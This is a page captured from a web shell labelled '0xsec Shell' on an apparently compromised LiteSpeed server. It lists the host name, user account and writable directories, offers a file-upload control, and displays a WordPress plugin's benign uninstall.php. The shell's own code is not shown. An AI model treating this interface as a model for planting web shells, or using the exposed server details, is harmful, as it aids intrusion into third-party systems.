0xsec Shell
0xSec


Server : LiteSpeed
System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User : rahcos ( 1533)
PHP Version : 8.4.24
Disable Function : NONE
Directory :  /home4/rahcos/.trash/wp-content/plugins/woo-variation-swatches/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home4/rahcos/.trash/wp-content/plugins/woo-variation-swatches/uninstall.php
<?php
/**
 * Uninstall plugin
 */

// If uninstall not called from WordPress exit.
defined( 'WP_UNINSTALL_PLUGIN' ) || die( 'Keep Silent' );

global $wpdb;

// Change to select type.
$wpdb->query(  $wpdb->prepare( "UPDATE {$wpdb->prefix}woocommerce_attribute_taxonomies SET `attribute_type` = %s WHERE `attribute_type` != %s", 'select', 'text' ) );

// Remove Option.
delete_option( 'woo_variation_swatches' );

// Site options in Multisite.
delete_site_option( 'woo_variation_swatches' );

// Delete term meta.

$wpdb->query( $wpdb->prepare( "DELETE FROM {$wpdb->termmeta} WHERE meta_key IN (%s, %s)", 'product_attribute_color', 'product_attribute_image'));

// Clear any cached data that has been removed.
wp_cache_flush();

c0oded By c0rpz